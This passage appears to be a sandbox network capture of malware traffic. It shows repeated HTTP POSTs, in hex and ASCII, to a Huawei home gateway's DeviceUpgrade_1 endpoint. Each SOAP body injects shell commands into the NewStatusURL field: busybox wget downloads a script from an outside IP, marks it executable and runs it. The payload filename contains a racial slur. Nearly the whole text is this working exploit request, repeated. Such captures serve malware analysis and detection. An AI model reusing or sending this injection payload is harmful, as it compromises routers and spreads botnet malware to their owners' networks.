73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.034498930 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.642524004 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.602161884 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.521656036 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:56.384601116 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.15	36922	31.136.102.230	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.148022890 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.706568956 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:45.826651096 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.290462017 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 